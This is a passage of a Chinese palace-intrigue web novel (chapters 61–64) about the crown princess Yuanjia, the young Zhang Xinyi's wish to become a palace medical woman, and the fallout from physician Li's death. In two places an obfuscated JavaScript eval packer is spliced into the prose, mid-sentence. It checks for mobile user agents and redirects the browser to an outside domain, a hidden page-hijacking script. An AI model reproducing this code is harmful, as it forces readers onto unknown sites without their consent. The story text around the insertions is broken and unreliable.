元嘉今日过季府而不入的郁气,在见到李嬷嬷后终于消散,连心情也好上许多,说起话来更不自觉带了娇憨。 李嬷嬷自元嘉孩提时便随在季母身边,眼瞧着元嘉一点点长成如今玉立亭亭的模样,早将其视作了自己的半个儿女。如今见元嘉不自觉流露的亲昵,心中更是疼惜,便也省去许多客套,直接道:“夫人晚些时候已递了牌子,明日入清宁宫向皇后殿下请安,一并替小郎君告假。” 李嬷嬷顿了下,却没有等到元嘉开口,只瞧见人勾起唇角,抿笑不语,倒更显得温柔娴静起来。 “小郎君有些不好,宫里头又都是些贵人们,便还是等小郎君养好身子再进宫读书。” 李嬷嬷又继续把话说完,这才拿起杯盏轻抿一口。 “是了,今日送淳弟回去时,便见他面色不佳,原以为是离了家不适应,却不想是着了病。” 元嘉佯作恍然道。 李嬷嬷眼里笑意更深,“小郎君素来体健,许久不曾病过了,今日身上不舒坦,竟难受得在府里直哭。奴婢出门那会儿,小郎君的哭声都还没止住呢。” “可怜见的,也不知淳弟这一病,要休养多久?” “少不得要十日八日的,夫人索性便去宫里替小郎君告半个月的假,等好全了再进宫,左右不要将病染了别人。” 二人猜哑谜般往来了几回合,彼此间皆肚里有数,元嘉也终于放下了心。 “天色已晚,又下着雨,嬷嬷不若歇息一夜,”忧心的事情得以解决,元嘉说话间也轻快不少,“明日再回季府。” “原是您今日将小郎君送回,夫人怕您担心,这才让奴婢赶忙过来,”李嬷嬷笑着摇头,“如今既已告诉了您,奴婢也得回去说与夫人知道,免得让夫人苦等才是。” 虽知李嬷嬷说的在理,可元嘉还是难掩失望,强打着精神道:“既如此,这匣子宝石乃皇后殿下所赐,还请嬷嬷一并带回。” 元嘉略一示意,逢春便将白日里从宫里捧回的匣子拿了出来,又小心放在李嬷嬷面前。 “今日所见,淳弟与五皇子的感情颇好,皇后殿下想来也知道,这才特意相赐,给母亲和嫂嫂的。” 李嬷嬷心领神会,起身接过便要告辞。 元嘉心有不舍,可还是陪着人走到了院子里。本想一直送到正门口,等李嬷嬷上了马车再回去,可无奈李嬷嬷再三劝阻,元嘉便也只能让徐妈妈替她陪着,自己则站在院子里目送李嬷嬷的身影远去。直到一点影子都瞧不着了,才怅然若失的回了屋。 61. 章辛夷 第二日,果如娄皇后所说,元嘉自醒来后浑身酸痛。虽不至难以忍受,可这滋味总归是不好受的。 发间的红痕也还未褪去,红珠过来梳妆时,也只能将乌发简单盘起,一侧簪芙蓉,一侧插了几支素簪,略作妆点罢了。 等到逢春从门外进来,元嘉已然收拾妥当,正盯着昨日带回的匣子发呆。 “女君,”逢春微微屈膝,“章太医来给您问安了。” 元嘉闻言一怔。 章有为这段日子一直奉命留在畅和馆替卫妙音调理身子,她不欲打扰,除惯例请平安脉的日子,并不多让人跑来跑去。 而今日,并非章有为该过来请平安脉的日子。元嘉心中奇怪,又掀起眼帘朝逢春望去,突然便反应了过来──这是把昨日在马车上说的话认真了。 当即嗔怪一眼,“养几日便能好全的小伤,怎还劳烦章太医专程跑一趟。” “若不抹药,总得费个三五七日才见好,若抹了药,一两日工夫便足矣。”逢春绕到元嘉身后,力度适中的揉捏着元嘉肩颈,“您的头发又黑又密,簪钗戴冠的才好看,女君便成全了奴婢的自作主张吧。” 元嘉被这话说的没了脾性,无奈点头,“那还不快把人请进来。” 逢春笑着诶了一声,三步并作两步往外头走去。不多时,便带着章有为走了进来,后面还跟了个提着药箱的瘦小身影。只那人微垂着脑袋,又站在诸人之后,元嘉一时未瞧清相貌。 想是章有为身边的药童吧…… 元嘉这样想着,粗粗扫过一眼便不再留意。 章有为进来后,先是拱手行礼,而后才直起身来听元嘉吩咐。 “原也不是什么严重事,”元嘉温声道,“想是戴的钗钿太重了,坠得头皮发疼,这才请你来这一趟,替本宫制些药水,抹一抹也就罢了。” “这好办,宫里的贵人们也常有这样的苦恼,所以制药水的方子都是现成的。”章有为呵呵一笑,“女君稍候,容臣让童儿拿着药方去熬制一盅,只需早晚间各涂抹一次,不消三日,便可好全了。” “那便有劳章太医了。” 元嘉微微颔首。 章有为抬手招来身后的药童,低声嘱咐了几句。元嘉跟着打量了两眼,突然掩口一笑,“这是哪家的女郎君,长的竟如此俊俏?” 那药童下意识啊了一声,又跟着反应过来,忙捂嘴低头,耳尖处却微微有些泛红。 章有为自知再遮掩不过,无奈叹了口气,又俯身朝元嘉道:“太子妃容禀。” 元嘉本就没有问罪的心思,闻言便也一点头。 “这孽障是臣的女儿,”章有为瞪了人一眼,“因臣近日长居畅和馆侍奉卫良媛,家中一时无人,只好让她作药童打扮,跟在臣的身边以便照顾。还请太子妃宽宥!” 元嘉摇头示意无碍,又重新打量起那章家小娘子来,恰逢章小娘子抬眼相望,正撞进元嘉的视线里,前者立刻埋下了脑袋,一副被抓到后的躲闪模样。 元嘉的笑意更深了些,抬手将人招到身边,“章娘子走近些,也好让本宫细瞧瞧。” 那章小娘子一听,反生出几分踌躇来,一双幼鹿似的眼睛求助般望向章有为。前者却连余光都不分去一缕,只凉飕飕道:“之前抢着替我拿药箱的时候,怎不见你生怯,现在倒不敢上前叫太子妃看你两眼了?” 这话有股破罐子破摔的意味在里头,屋内众人更因此笑作一团。 一片欢笑声中,那章小娘子反倒立住了。径自上前两步,直愣愣地把头微昂,由着元嘉打量。 这一抬头,元嘉有些惊讶了。许是肖母的缘故,这位章小娘子长的与其父并不过多相似。两弯狭长水湾眉,一双含笑杏仁眼,唇似点漆,面若银盆,虽形容尚小,却已然十足的讨喜模样。 “你叫什么名字?” 元嘉笑着问道。 “我……” 章小娘子又朝章有为看了一眼,见他依旧一副目不斜视的模样,转了下眼珠,学着之前进来时的行礼模样,瓮声瓮气道:“臣女名唤辛夷。” 元嘉在心底默念了几下,继续笑眯眯道:“可是辛夷花的辛夷?” “小女闺名,正是此二字。” 章有为总算开了口。 元嘉嘴角笑意愈大,“倒是味又珍贵又好看的药材,可见你是极爱护这个女儿的。” 章辛夷闻言咧嘴一笑,还想说些什么,却被章有为一个眼神瞪了回去。虽暂时偃旗息鼓,可那双眼珠子仍骨碌碌的转着,十足的狡黠灵动。 “就是躁了些,实在不像个娴静的女儿家。” 章有为叹道。 “谁说女儿家只能作娴静性子?”元嘉看着章辛夷一脸朝气的模样,心里却想到了季元淳,“本宫倒极喜欢章小娘子这副脾性,瞧着便让人高兴。 “太子妃慧眼!” 章辛夷使劲点头,在自家父亲又一次瞪向她之前,先一步捂住了嘴,一副听话的模样。 元嘉失笑,抬手招来红珠,“去把本宫妆奁内那副玉做的芙蓉钗找出来。” 红珠领命而去,不多时捧着一个锦盒回来。 元嘉指着那盒子笑道:“况有辛夷花,色与芙蓉乱。本宫这里没有辛夷花,便只好送章小娘子这朵芙蓉花了。” 章有为连忙推辞,“小女无功无德,又未经您允准随臣入了太子府,您不怪罪已是厚德,哪能再得您这样贵重的赏赐!” “这不是赏赐,是本宫与章小娘子一见如故,特意赠她的礼物,”元嘉笑着摇头,“只当是本宫的心意,章太医就莫要推辞了。” 章有为仍有些着急,一张嘴开了又合,却迟迟说不出一个完整的句子,少顷有些迟疑地放下手。 章辛夷左看一眼,右看一眼,正不知该如何是好时,余光不经意间瞥过元嘉鬓边,顿时眼前一亮。 “太子妃殿下,”章辛夷语气轻快地唤了一声,又等到元嘉视线投到她身上以后,才继续道,“这礼物既是要送给臣女的,那是不是也得要臣女自己喜欢才行?” “胡闹!” 章有为斥道。 元嘉抬手制止,又朝章辛夷道:“自然。” 前者昂着头,灿然道:“既如此,便请女君赐鬓间芙蓉!” 元嘉一愣,指尖抚过发侧微垂的花瓣,终是没忍住笑意,“好个伶俐的丫头!” 又道:“你上前来。” 章辛夷见元嘉笑了,自己也跟着开心起来,闻言更脚步轻快地走到元嘉跟前立住。 元嘉从鬓间取下芙蓉,放在章辛夷手里,“这朵芙蓉花,你收好了。” 章辛夷笑得眉眼弯弯,“谢女君赐花。这朵芙蓉开得正好,臣女定会好生珍惜的!” 元嘉收回手,又看向章有为道:“你家这女郎,不喜欢金石玉器,倒对着这些折下来的花花草草感兴趣。” 虽有替父解围的原因在里头,可章辛夷眼底的喜爱做不得假,她是真喜欢这些东西。 章有为无奈拱手,“叫女君见笑了。” 章辛夷却浑然不觉,站在一旁,正兴冲冲的把芙蓉花往头上别,末了还小声问着红珠几个好不好看,实在是再活泼不过了。 元嘉含笑看着眼前这幅热闹场面,好一会儿才道:“这段日子,少不得还要你父亲多留府上费心。你一个小娘子,长日无聊的,便多来长春馆找这些姊姊们玩。” 章辛夷顿时眼前一亮,点头如捣蒜,“多谢女君,辛夷记下了!” 这话快得连章有为都没有反应过来,回过神后也只能轻咳一声。章辛夷撅着嘴,只睁着一双希冀的眸子,把前者望着不吱声。 “行了行了,”章有为果然败下阵来,“女君都允了,我难道还会压着你不准往外走动吗?” 章辛夷这才又笑了起来,更放心将自己挤在红珠几人的身边了。 “只你现在是否该先替女君将药水制好呢?” 章有为反问道。 章辛夷惊呼一声,忙告罪两声退了出去,快得跟阵风似的。 章有为看着自家女儿这副风风火火的模样,无可奈何的一摇头,眼底却是再宠溺不过的。须臾转身,又朝元嘉诚恳道:“小女鲁莽,叫女君见笑了。” “辛夷率性纯真,又是个机敏灵巧的,本宫倒也确实喜欢。” 章有为忙称不敢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人被这举动吓了一跳,元嘉却是一脉的云淡风轻,“本宫上次戴的芙蓉花钗在哪儿,去替本宫寻来。” 这话更是让人摸不着头脑,最后还是红珠先回过神来,伏在地上,将碎裂的玉钗残件拢于一处,口中还道:“女君说的,可是那支玉做的芙蓉花钗?” 元嘉嗯了一声。 “奴婢前两日还在奇怪呢,那花钗自您上次戴过以后,便再没瞧见了。”红珠一面答话,一面将方帕展开,“奴婢还以为是您赏给谁了呢。” 元嘉勾起一抹满意的笑,语气却更加疑惑,“怎会,那花钗样式精巧,本宫喜欢的很,断不会轻易将它赏了人去。” “莫不是掉在哪里了?” 逢春眸光一闪,紧接着道。 “奴婢记得,女君上次戴那花钗,正是去畅和馆探望卫良媛之时,这、莫不是……” 红玉也反应了过来。 “……莫不是那医女起了歹心?”红珠从地上起身,将用方帕裹好的玉钗小心放回锦盒,“怪道这样悄无声息的从咱们府里消失了,真真是可恶至极!” 元嘉紧锁的眉心总算舒展开来,又将目光重新投向红玉,前者顿时心领神会,当即愤愤然道:“李氏胆大包天,竟敢窃太子府的财物。这件事,奴婢定会让刘司药给咱们一个交代!” “若是刘司药避而不言呢?” “咱们是苦主,若最后连个说理的地方也没有,奴婢便只好将这件事情报给尚食大人听了,”红玉不慌不忙,“总不能叫咱们吃了这闷亏。” 元嘉这才满意地一点头。 “女君,”拂冬的声音突然响起,“章娘子带着药水回来了。” 红珠立刻将锦盒收了回去。 元嘉亦收敛了神色,又重新扬起一抹浅笑,微抬着声音道:“还不快让人进来!” 章辛夷浑然不知发生了什么,只兴冲冲地跑进屋,又献宝似的说起手里的药水来,十足的鲜活模样。元嘉含笑看着眼前的热闹场面,只觉得这小小女郎的到来,竟为这座肃穆的府邸平添了三分生气。 真好。 62. 命草芥 红玉第二日便领了人进宫。可再回来时,却只余章有为一个,和新选入府的医女刘氏,又请章有为带话,道她还要在宫里多待个一两日才回。 “……刘氏?” 元嘉眉梢一挑。 “说是刘司药的族妹,”红珠正往前者的伤口处涂抹药水,闻言答道,“得刘司药举荐,前两年也进了宫做医女。” 元嘉轻笑一声,不再追问。 想是红玉把话说得狠了,那刘司药为证无辜,便将自家族妹送了来,以作示好。 “是个稳当的就行,”元嘉端起放在手边的杯盏,凑近嘴边啜饮了一口,“最要紧的,是能安心留在畅和馆侍奉好卫良媛,旁的都不重要。” “女君放心,刘家几代都是从医的好手,这位刘医女既是刘司药的族妹,医术上定是妥帖的。” 红珠将最后一点药涂抹干净,这才搁下瓷瓶。略微回忆了下,又将自己从宫里听来的事情,一五一十的说与元嘉知道,“刘司药的父亲便是太医署出身,如今又进了位族妹,想是她们家在为下一任的司药谋算着呢。如此,定不会让刘医女在咱们这儿失了稳当。” 元嘉还是第一次听到这些事,原以为皇宫就是后妃嫔御居住所在,却不想连女官之间也多有粘连。 “既是培养着做下一任司药的,来咱们府里岂不屈才?” 元嘉又问道。 “刘司药正值盛年,底下的典药、掌药也都是齐全的。宫里头那么多人,与其叫自家族妹在女史的位子上熬着,还不如来咱们这儿。将来再回去,说是侍奉过储君的,刘司药想要提拔,也容易许多。” 红珠倒似看惯了这些般,元嘉甫一问话,立刻便回答起来。 “如此,这司药的位子,不就在她刘家人的手里来回转着了?” 元嘉抬手撑住下颌,看似漫不经心般开口。 “便是在刘家手里转着,也得有真本事,叫司药司上下信服才行,否则也是待不长久的。”红珠微微一笑,“如今的阮尚服,便是自两任尚服的沈家手里接过尚服局的。” “不避亲眷,还能让底下人信服……听着倒像是举荐与考核兼而有之了?” “正是呢,”红珠笑着点头,“这样选出来的也不是些尸位素餐之徒,便是一家出来的,真本事摆在那里,大家也还是愿意听候差遣的。” 见元嘉似乎对这些颇感兴趣,红珠便又捡着女官的考核升迁,一点点说与元嘉听。前者歪着头,思绪却有些飘散了,手也无意识地搭住杯盖,指腹不住地摩挲着。 自然,也就没有瞧见正在一旁收拾药瓶的章辛夷的眼里陡然迸出的光。 …… 红玉是在第三日午后回来的。 和她一起的,还有失踪了七日的李医女的消息。 “……人没了?” 元嘉看向红玉,眼中既有错愕,又带着几分明显的难以置信。片刻后,才勉强稳住心神,开始询问起其中的不对劲来。 “是,”红玉也抿着嘴,“说是给贵人煎药时出了差错,当日便被发落去了掖庭。” 元嘉拧着眉,“她是回去述差的,怎么还会被留在宫里煎药?” “说是李医女回宫那日,恰逢司药司为各宫分送防暑热的药剂,人手实在不够,寻常宫女又分辨不出药材,她们也不放心,便让李医女一并捡药帮着熬煮了些。” 红玉顿了一下,“结果某位贵人用了司药司送去的药剂后,身上竟出现了大片红疹,送药的宫女当场便被罚进了掖庭。后来再一查,发现竟是李医女捡的药和熬煮的,便也被关进去了……” “只是关进去了?”元嘉问道,“人又是怎么没的。” “说是原只想小惩大诫,让李医女受些皮肉之苦长长记性,”红玉带着几分迟疑与遮掩,“谁知却在掖庭的记档中翻到了李医女从前犯下的过错……竟也发生过不辨药材、胡乱配药的事情,还不止一次。偏她在司药司的次次考核中都是乙等以上,再往下查,便牵扯出更多的人了。” 红玉的眼中有些惊惧,“原来这李氏是经人举荐进的宫,举荐的人收了好处,又帮着四下打点了不少。本意是将她分去一个油水多的地方捞些银钱,过两年再以犯了错的名义将其驱赶出宫,如此神不知鬼不觉。不想这中间却出了岔子,那李氏最后便去到了司药司,先做了女史,又因刘司药时常授课,一来二去的就成了医女。” “宫里头的规矩,若被举荐之人当差时犯了错,举荐之人以连坐论,所以举荐李氏的人便帮其在考核中做了手脚。只是到底有力所不能及之处,这也才有掖庭记档中的那些事情……不想后来,竟将她分到了咱们府上。” “李氏犯了这样大的罪过,哪里还能有命呢。” 红玉唏嘘不已。 怪不得当日在畅和馆时,她也只说是照吩咐熬药,旁的一概不知。原来自己就是个半吊子,所以才看不出那药方中的矛盾之处……又或者,正是因为她什么都看不出来,所以才会被分去畅和馆。 元嘉眸色微暗,“你刚才说,李氏之事还牵扯出了更多的人……除了她,还有谁被关进掖庭了?” “奴婢不知,”红玉艰难摇头,“实在是这几日宫里头人人自危,连皇后殿下也发了话,要孙宫正严查李氏一事,所有的宫女都得去掖庭接受盘问,便是那些早去了别宫安置的老宫女们,也不得例外。” 元嘉垂目细思,指尖无意识地敲击着桌面。这样大的阵仗,也不知要填进去多少人……可真有罪的,又能有几个呢?若她是心怀鬼胎者,必定要趁这次机会,将身边的隐患全部送进去,就此一了百了。李氏不无辜,可也不过是个傀儡罢了,还是个到死都不知道自己被利用了的傀儡。 “可知道是哪个贵人吗?” 元嘉忽然问道。 “刘司药说话语焉不详的,奴婢也没能从她的嘴里打听到什么。”红玉面露惭色,“但私底下问过几个交好的姊妹,她们并未听说哪位娘娘害了红疹。可掖庭的人断不会撒如此明显的谎,奴婢便猜想,还能在宫里被称呼一句贵人的,就 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这般想着,红玉又打量着元嘉的神色,见她并不像真动了气,遂斟酌着开口:“不若……奴婢再换个人问问?” 元嘉犹豫了下,还是摇了头,“如今谁还有心思打听这件事,再问也不会有更多的消息了。不管那位贵主是嫔妃还是公主,如无必要,哪个女官愿去触霉头。刘司药不欲直言,也属常事,咱们心里有数也就行了。” 红玉低头称是,心中却颇有些懊恼──她原以为此行容易,却不想其中牵扯的人与事如此之多。到头来,竟是她自己办了件不算圆满的差,实在是愧对元嘉的期望。 红玉的嘴角微微下撇,显出几分烦闷与自责,想了想又不甘心道:“那李氏已然没了,她留在咱们府里的东西,奴婢就让人收去扔掉吧?” “东西该扔,却不必这时候扔,更不必你去做了钱掌正的活。”元嘉瞥了人一眼,“她不是说这件事或许是底下人的疏忽吗,不是说她自己全然不知吗,可说到底,还是她自己敷衍塞责,本宫要治她一个失慎之罪也是全然在理的。” “李氏的东西,让她带着咱们的人一一查过,入册后再交去掖庭,权当是给她机会将功补过了,若再有懈怠,她也去掖庭走一遭吧。至于是扔是毁,只等孙宫正那边的话,毕竟有皇后的命令在其中,不必咱们出去冒头。” “是,奴婢记下了,这就去办。” 红玉答道。 元嘉嗯了一声,身子微微侧倾,又重新靠回软枕之上。 薛神妃,不,应该说是薛德妃留下来的人可真多哪……她前脚才换了卫妙音的药,李氏后脚便被处置了,饶是罪证确凿,可时间上未免也太巧合了。 真是…… 越来越有意思了。 元嘉一开始还有些束手束脚,甚至忧心己身安危,如今时日长了,竟也开始雀跃期待起来,当真是时势造人。少顷又发出一声轻笑,在寂静的屋内显得格外清晰。 来日方长。 她有的是时间。 63. 心所向 这日,章辛夷避开了人,只身来到长春馆外求见元嘉。 自那日得了元嘉的一句话,这位章小娘子倒也真记在了心上,白日无聊时便常跑到长春馆与人嬉闹。逢春等人见她年纪小,生得又讨喜,便也多看顾几分。次数多了,倒也不用次次先拜过元嘉,常常是人过来了,便溜到宫女们住的屋子玩闹。 却不知今日是怎的,竟在元嘉的正屋外候着,一脸的局促模样。 “你在外头站着做甚,可是没找着逢春她们?” 元嘉笑着问道,语调又轻又缓。 章辛夷的反应却显出几分奇怪──怔怔看着元嘉,眼底似有希冀,但更多的是犹豫。一张嘴开了又合,偏半天说不出一句完整话来。 元嘉不明所以,少不得隔着窗棂与人相望。她今日为寻清静,特意遣走了身边伺候的人,不想却瞧见门外透进来的一道狭长人影,忽长忽短的,又不住地左右徘徊。疑惑之下起身,这才发现了章辛夷。 “……辛夷?” 元嘉见她一脸纠结,少不得又唤了一句。 “女君,”章辛夷猛地回神,像是终于下了什么决定般,朝着元嘉道,“我、辛夷有一事相求。” 声音却像是被什么堵住了一般,干涩且喑哑。 全然不见往日的跳脱模样。 元嘉唯恐她遇到了棘手之事,当即把人叫进屋里说话。 “我让你敛秋姊姊送盏茶来,”元嘉柔声道,“你润了嗓子再说话,可好?” 章辛夷咬着唇摇了摇头。 “那、你想求我什么?” 元嘉见她隐约又有些动摇,索性替人把话问出了口。 闻言,章辛夷停在原地片刻,而后两手交叠,恭敬地举至齐眉处,竟是向元嘉行了大礼。 “你这是……” 元嘉眉心微蹙,来不及多问,起身便想把人搀起来。章辛夷却避开了,只直起身子看向元嘉── “女君,辛夷想进宫做医女,请您帮帮辛夷。” 元嘉本欲扶人的手停在了半空,身子也一点点坐了回去,“章太医自己就是精通医术之人,你要学医,女承父业即可。何必舍近求远,想着去做医女呢?” 那日领刘医女过来回话时,章辛夷也在,难道是她听了刘家的事,也起了什么念头……还是章有为的授意? 元嘉神色微变,哪怕到此刻尤对章辛夷怀有好感,但看向前者的目光里仍多出几分难以遏制的审视。 “就是因为学不到,才想去一个能学的地方……” 章辛夷的神色有些黯淡,听着也像是另有什么隐情一般。 元嘉眉心折痕愈重,“你先起来说话。” “女君,我爹他是教了我药理,可能拿来用的,少之又少。入了秋我便十二了,学到手的,不过是些治头疼脑热的寻常方子。其他东西,我便是问了,爹爹也多是闭口不言……我在我爹身上能学的东西已经到头了。” 章辛夷固执地不肯起身,微昂着脑袋,眼底是叫人心惊的渴求,“可我不想只做个能辨药材的女郎,辛夷想做一个能治病救人、济世行医的大夫!” 元嘉却为此沉默了良久,直看到女郎眼底的火焰有些摇摇欲坠起来,才叹着气劝道:“你若只是想学医,我大可替你做次说客。你跟着自己的父亲习医,总好过孤身一人入宫。便是章太医不肯,左右我以势欺人一次,强令他教你,岂不更好?” “爹爹他不肯的。”章辛夷露出与年纪不符的怅然,“他总害怕我重蹈娘亲的覆辙。不论我怎么恳求,便是与他商量去其他医馆做学徒,爹爹都是不允的。便是现下会的,也不过是因为我幼时害过这些病,爹爹才教了我救治之法。” 重蹈覆辙? 元嘉突然想起初见章辛夷那日,章有为提到亡妻时的悲怆之色——只怕又是一桩惨事。思及此,元嘉本欲出言婉劝,可见章辛夷一脸的坚持与不肯放弃,话到嘴边仍是咽了回去。 良久喟叹一声—— “医女不比太医,虽说是挂在六局二十四司的下头,可说到底,也还是伺候人的奴婢罢了,你便是进宫去,也未必就能如自己所愿,习得精妙医术。更何况,能让医女诊治的,也不过寻常病痛,真是疑难之症,后妃们也总是更愿意传太医的。” 犹豫了一下,还是将剩下的话说出了口,“一入宫门深似海,将来的你未必不会后悔今日所做之选择。” 章辛夷见元嘉似有松口之意,眼底重新燃起了希望,“女君难道以为辛夷只是听了那日的话,才突然起的这个念头吗?” 元嘉不说话了。 是了,医女择选虽是以年论,可待选者需以户籍文书及保书为凭,否则连踏进宫门的机会都没有。且医者本就是最接近生死之人,若真有人存不轨之心,便是牵连全族的罪人。 而章辛夷,大抵是拿不到章有为的保书的。 但是,万事总有例外,这也是章辛夷为何会跑来求助元嘉的原因——举荐。 宫规有制,司级以上,皆可举荐良籍者入宫为女史。元嘉是太子妃,品阶远在司级之上,若真想让一个人进宫,也不过抬手间的事罢了。 “你就这么笃定,我愿意把你的名字报进去?” 元嘉垂目而视。 章辛夷摇头,勉强扯出抹笑,“辛夷只是不死心罢了。” 元嘉将身子靠回椅背,目光游离不定,似乎在心底反复权衡着什么,久久地才转回视线。 “我尚有一二疑惑,你仔细想好了再答我。” “……是!” 章辛夷原已经不抱希望了,如今听出峰回路转之音,当即打起了十二分的精神。 “你方才说,想做一名治病救人的大夫,”元嘉缓缓道,“那我问你,医女长年居于宫闱,便有少数者居在宫外,也多侍奉于各皇族府邸。你成了医女,来日如何能济世行医?” 像是已在腹中酝酿打磨了许久,章辛夷不见任何的犹豫,“宫中医家典籍甚多,我若为医女,必然读医书、习药理,求太医署、司药司诸位前辈历练指点。待到二十五岁出宫,自可实现平生夙愿。” “你倒是连哪些宫女能出宫,出宫的年岁是多少都打听清楚了。” 元嘉哑然失笑。 章辛夷抿唇不语,两颊的梨涡若隐若现。 “那我再问你,宫中典籍虽多,可能翻阅者至低为司级,或得司级允准的掌级或典级,你甫入宫,只能从最低等的女史做起,又如何谈得上习读医书呢?” 元嘉又问道。 “虽一时读不得医书,可辛夷听爹爹提过,太医署在职的太医须得按月往司药司为众医女授课,宫里也有许多比辛夷年长的医女,只要想学东西,总是能学到的。” 章辛夷这次回答得更快。 “好,”元嘉拊掌,“那我再问你最后一个问题。” 章辛夷立时挺直了背脊,唯恐听岔了一个字。 “医女多为后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228851|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女眷奉差,医的也多是妇人病,”元嘉放缓了语气,“你入宫一场,若只能习此类医术,可会后悔?可会抱憾?” “不会!” 章辛夷扬声道:“这世间的病多如牛毛,又岂是我短短十数载能学完的。能专精其一,治得这一方病患,已是辛夷之幸。” 三个问题,章辛夷的回答一次比一次干脆,语气中更不见任何迟疑,足见其心里的坚定。 “如此,我心里也有数了。” 元嘉看了眼正偷摸打量着她的章辛夷,重又伸出手来,“跪了这么些时候,膝盖不难受吗?过来坐着吧。” 章辛夷惴惴然起身,将手搭于元嘉掌心,又顺着力道坐到前者身边,像是引颈受戮的囚犯般,只等着元嘉最后的断决。 “章太医知道你过来吗?” 元嘉却先问起了另一件事。 章辛夷点头又摇头,“爹爹知道我最近爱找宫女姊姊们玩,但不知我今日是专程来寻您的。” “那你再做一件事,做好了,这医女的事情,我便替你办了。” 元嘉缓缓道。 章辛夷顿时高兴起来,连声说好。 “你把今日来寻我的事情,一五一十地说给章太医听,”元嘉微微侧身,直视着章辛夷的双眼,“当你得他允准再来寻我那日,便是你进宫做医女之时。” 章辛夷立刻愁眉苦脸起来,“便是爹爹说不通,辛夷才只能来求您的。爹爹若知道今日的事,如何还许我再来长春馆……好女君,再换个差事吧!” 元嘉不为所动,甚至握住了章辛夷扯着衣角试图求情的手,“章太医乃你至亲之人,若连他都说服不了,来日你面对胡搅蛮缠的病患,又如何说服他们听你这个小小女郎的话?” “我……” 章辛夷一时语塞。 “我虽不知你母亲出过什么事,竟叫章太医对你学医一事避讳至此。可你要知道,宫中贵人娘子众多,各人脾性皆有不同。可不论是何种脾性,都少有对宫女和善的。” 章辛夷的脸色一点点变得苍白,元嘉看在眼里,索性狠了心道:“你那日也听见了,府里新来了位姓刘的医女,顶的是畅和馆原奉差医女李氏的差……你可知其中缘由?” 章辛夷惶然摇头。 “因为李氏在宫里出了差错,被关进了掖庭,丢了命,太子府的医女便少了一个,这才又选了刘氏入府。” 元嘉故意隐去李氏犯下的事,只挑着唬人的地方说给章辛夷听,想着若是能把人吓回去也是好的,而她也确实望见了前者眼底的震荡与不安。 “那我、我也……” 章辛夷才多大年纪,乍听见有人丢了命,一下子便懵了,好一会儿才醒过神来。 “你不必急着向我表态,回去好生想想,想清楚了。”元嘉移开视线,连手也松了开来,“皇宫不是学堂,在里头过活没你想的那么容易。” 元嘉见过的后宫女眷不多,可不管是娄皇后还是薛德妃,都不是章辛夷这个小小女郎可以应付的。 章辛夷却被这话激起了脾性,一张脸绷得死紧,咬着牙起身,道:“女君且看着,辛夷向医之心绝无改换!” 说完,便向元嘉行礼告退,大跨步地离开了。瞧着方向,只怕已经去找章有为了。 元嘉望着章辛夷的身影远去,一直到她消失在自己的视线尽头,才发出一声叹息。 该说的都说尽了,余下的,便只看章辛夷自己了。 64. 又重演 那之后,章辛夷安静了好几日,太子府里也少了个活泼的人影。元嘉却只当未觉,只循着日子出入皇宫请安。闲暇时,或裁衣刺绣、或与刘、倪二人对坐吃茶,便是差人往畅和馆送东西,也有个小十趟了。只可惜,一次都不曾见到章辛夷。 本以为这事会不了了之,章辛夷却在第九日的黄昏独身而来。 “您要辛夷办的事,辛夷已经办成了。” 天色将沉未沉,长春馆里外也还没有点起灯笼,尚未落尽的余晖透过窗棂洒进地面,女郎背光而立,面色虽还有些苍白,眼里却满是欢欣。 元嘉缓缓走到章辛夷跟前,见她从怀里摸出一份信笺,口中又道:“这是爹爹写的手书,让我务必交到您手里。” 元嘉抬手接过,打开只看了两眼便合上了,反手又给递了回去。 “……女君?” 章辛夷面露无措。 “看来,我不需要替你举荐了。” “可是我爹在手书里写了什么不好的话?”章辛夷顿时着急起来,“他明明已经答应我了!” 元嘉微微一笑,“这上头的东西,你没看过?” 章辛夷老实摇头,又在元嘉的示意下将手书展开,立时便愣住了。 “你父亲已替你写了保书,自然毋须我再替你举荐。” 拂冬捧着托盘从里屋出来,行至二人身边。元嘉指着里头的东西道:“那日你走后,我便让人备下了。想着若你成了,它便是贺礼,便是不成,也可当做安慰你的小小赠物。” 章辛夷怔怔然接过。 那是一枚荷包。彩帛打底,正面绣着好几朵辛夷花,背面则用云纹点缀,束口的绳结特意编了一大一小两个如意结,尾端坠了两个不到指盖大小的兜子,小心藏了两枚宝石。 “多、多谢女君,”章辛夷微微埋下头,试图不叫元嘉看出自己泛红的眼眶,“可这荷包、太贵重了,我、辛夷……” “你比我家小妹大不了几岁呢,”元嘉抬手抚了抚章辛夷发顶,“便当是我想做人姊姊了,收下它,可好?” 章辛夷使劲憋着眼泪,呜咽道:“辛夷、辛夷定不会辜负女君的期望,一定会好好学医!” “错了,”元嘉抬手揩去章辛夷眼角的泪花,“是不要辜负自己才是。” 章辛夷幼时丧母,虽有章有为父兼母职,可细节处难免疏忽。章辛夷常年随父亲东来西往,既无亲族在侧,也没有相知相识的好友互通往来,已然很久未听到过他人的关怀之语了。此刻听着元嘉的叨叨絮语,再难抑制心中翻滚的情绪,一时间只知道点头,多的话一句也说不出来。 “兜子里的宝石,原就是宫里的手艺,你平日里佩着,便是真被扯进了什么纷争,也能看在这东西的份上,稍许顾忌一二……我也还在呢,不怕。” 元嘉又是一声叮嘱。 “多谢、多谢您替辛夷着想!” “入宫还有段日子呢,你如今也不必急了,且到处玩玩,来日再想看这宫外的风景,便只能等年休了。”元嘉温言道,“只一点,记着将你的户籍文书催来。” “是!” 章辛夷破涕为笑。 